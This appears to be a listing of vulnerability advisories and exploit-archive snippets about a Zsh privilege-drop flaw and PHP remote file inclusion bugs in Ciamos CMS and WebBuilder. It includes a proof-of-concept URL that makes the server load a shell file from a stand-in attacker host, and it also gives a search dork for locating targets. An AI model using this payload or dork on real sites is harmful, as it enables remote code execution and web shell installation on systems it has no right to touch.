CVE-2019-20044: Improper Check for Dropped Privileges

In Zsh before 5.8, attackers able to execute commands can regain privileges dropped by the --no-PRIVILEGED option. Zsh fails to overwrite the saved uid, so the original privileges can be restored by executing MODULEPATH=/dir/with/module zmodload with a module that calls setuid...

CVE-2009-4156: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in modules/pms/index.php in Ciamos CMS 0.9.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the modulepath parameter...

Ciamos CMS <= 0.9.5 (module_path) Remote File Inclusion Vulnerability

No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Ciamos CMS = 0.9.5 modulepath Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/ciamosmodules/files/ Dork : die"Hacking attempt"; :D Vuln : ./ciamos/modules/pms/index.php line 13...

Ciamos CMS 0.9.5 - 'module_path' Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Ciamos CMS PoC : http://server/modules/pms/index.php?modulepath=http://attacker/shell.txt??? 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...

Ciamos CMS <= 0.9.5 (module_path) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Ciamos CMS PoC : http://server/modules/pms/index.php?modulepath=http://attacker/shell.txt??? 0day.today 2018-01-01...

CVE-2007-0703: Undefined Security Weakness

PHP remote file inclusion vulnerability in library/StageLoader.php in WebBuilder 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALScoremodulepath parameter...